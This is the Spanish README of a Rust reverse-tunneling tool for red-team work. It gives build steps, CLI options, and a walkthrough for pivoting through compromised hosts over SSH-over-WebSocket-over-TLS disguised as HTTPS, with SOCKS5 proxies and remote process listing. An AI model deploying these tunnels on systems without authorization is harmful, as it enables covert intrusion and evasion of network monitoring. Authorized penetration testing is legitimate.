| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/

chisel-ng

Una implementación en Rust de chisel para pruebas de penetración y operaciones de equipo rojo. Establece túneles inversos sobre SSH sobre WebSocket sobre TLS, permitiendo a los operadores pivotar a través de hosts comprometidos mientras se mezclan con el tráfico HTTPS normal.

Tabla de Contenidos

• Inicio Rápido
• Características
• Arquitectura
• Referencia de Uso
  • Servidor
  • Cliente Inverso
  • Cliente Bind
  • Comandos CLI
• Pivote Multisalto
• Detalles Técnicos
• Consideraciones OPSEC
• Descargo de Responsabilidad

Inicio Rápido

Requisitos

• Rust 1.70+ (rustup.rs)

Compilar

git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release

Los binarios se generan en target/release/: chisel-server, chisel-client, chisel-bind-client

Uso Básico

1. Iniciar servidor (operador):

./chisel-server -p 'secreto' -v

2. Ejecutar cliente (objetivo):

./chisel-client -s operador.ejemplo.com:8443 -p 'secreto' -k

3. Crear túneles:

chisel-ng> sesión 1
[session-1] TARGET > túnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080

4. Acceder a servicios internos:

curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/

Características

• SSH sobre WebSocket sobre TLS - Se mezcla con el tráfico HTTPS normal
• Autenticación mediante clave precompartida - Autenticación simple y segura
• Reenvío de puertos dinámico - Crea túneles bajo demanda
• Proxy SOCKS5 - Enrutamiento dinámico a través de agentes
• Dos modos de cliente - Inverso (conecta hacia afuera) y bind (acepta conexiones entrantes)
• Multiplataforma - Windows y Linux

Arquitectura

+------------------+              +----------------------------------+
|     Operador     |              |         Red Objetivo             |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (sobre TLS)| |  (inverso)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+

Pila de Protocolos:

TCP -> TLS 1.3 -> WebSocket -> SSH -> Datos del Túnel
                     ^
            aparece como HTTPS

Modos de Cliente:

• Inverso (chisel-client) - Conecta saliente al servidor
• Bind (chisel-bind-client) - Escucha conexiones entrantes; el servidor usa el comando connect

Referencia de Uso

OPCIONES:
    -l, --listen <ADDR>      Dirección de escucha [por defecto: 0.0.0.0:8443]
    -p, --psk <PSK>          Clave precompartida o frase de paso [env: CHISEL_PSK]
        --cert <FILE>        Certificado TLS (PEM)
        --key <FILE>         Clave privada TLS (PEM)
        --generate-psk       Generar PSK aleatorio y salir
    -v, --verbose            Salida detallada

OPCIONES:
    -s, --server <ADDR>      Dirección del servidor (host:puerto)
    -p, --psk <PSK>          Clave precompartida o frase de paso [env: CHISEL_PSK]
    -u, --user <ETIQUETA>    Etiqueta de sesión [por defecto: agent]
    -k, --insecure           Omitir verificación TLS
        --no-reconnect       Deshabilitar reconexión automática
    -i, --interval <SEG>     Intervalo de reconexión [por defecto: 30]
        --heartbeat <SEG>    Intervalo de latido [por defecto: 30]
    -v, --verbose            Salida detallada

OPCIONES:
    -l, --listen <ADDR>      Dirección de escucha (ej. 0.0.0.0:9000)
    -p, --psk <PSK>          Clave precompartida o frase de paso [env: CHISEL_PSK]
    -u, --user <ETIQUETA>    Etiqueta de sesión [por defecto: agent]
    -k, --insecure           Omitir verificación TLS
        --heartbeat <SEG>    Intervalo de latido [por defecto: 30]
    -v, --verbose            Salida detallada

sessions             Listar sesiones conectadas
session <id>         Seleccionar una sesión
connect <ip:puerto>  Conectar al cliente bind
disconnect <id>      Desconectar sesión (se reconectará)
kill <id>            Terminar proceso del cliente

tunnel <local>:<ip_objetivo>:<puerto_objetivo>    Crear túnel
tunnel --local <local>:<objetivo>:<puerto>         Crear túnel (solo localhost)
tunnel stop <puerto>                               Detener túnel
tunnels                                             Listar túneles
socks5 <puerto>                                    Iniciar proxy SOCKS5
socks5 stop <puerto>                               Detener proxy SOCKS5
ping                                                Medir latencia
ps                                                  Listar procesos remotos
netstat                                             Listar conexiones remotas

Pivote Multisalto

Alcanza redes aisladas encadenando a través de sesiones existentes.

Escenario: El host DMZ puede alcanzar al operador. El host interno (10.0.0.50) solo puede ser alcanzado desde DMZ.

+----------+        +-----------+        +------------+
| Operador |--SSH---| Sesión 1  |--TCP---| Sesión 2   |
|  Servidor|        |   (DMZ)   |        | (INTERNO)  |
+----------+        +-----------+        +------------+

Paso 1 - Iniciar servidor (operador):

./chisel-server -p 'secreto' -v

Paso 2 - Ejecutar cliente inverso (host DMZ):

./chisel-client -s operador.ejemplo.com:8443 -p 'secreto' -k

Paso 3 - Ejecutar cliente bind (host interno en 10.0.0.50):

./chisel-bind-client -l 0.0.0.0:9000 -p 'secreto' -k

Paso 4 - Crear túnel y conectar (CLI del servidor):

chisel-ng> sesión 1
[session-1] DMZ > túnel --local 9000:10.0.0.50:9000
Túnel iniciado en 127.0.0.1:9000

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Sesión 2 registrada

chisel-ng> sesión 2
[session-2] INTERNO > socks5 1080

Detalles Técnicos

Consideraciones OPSEC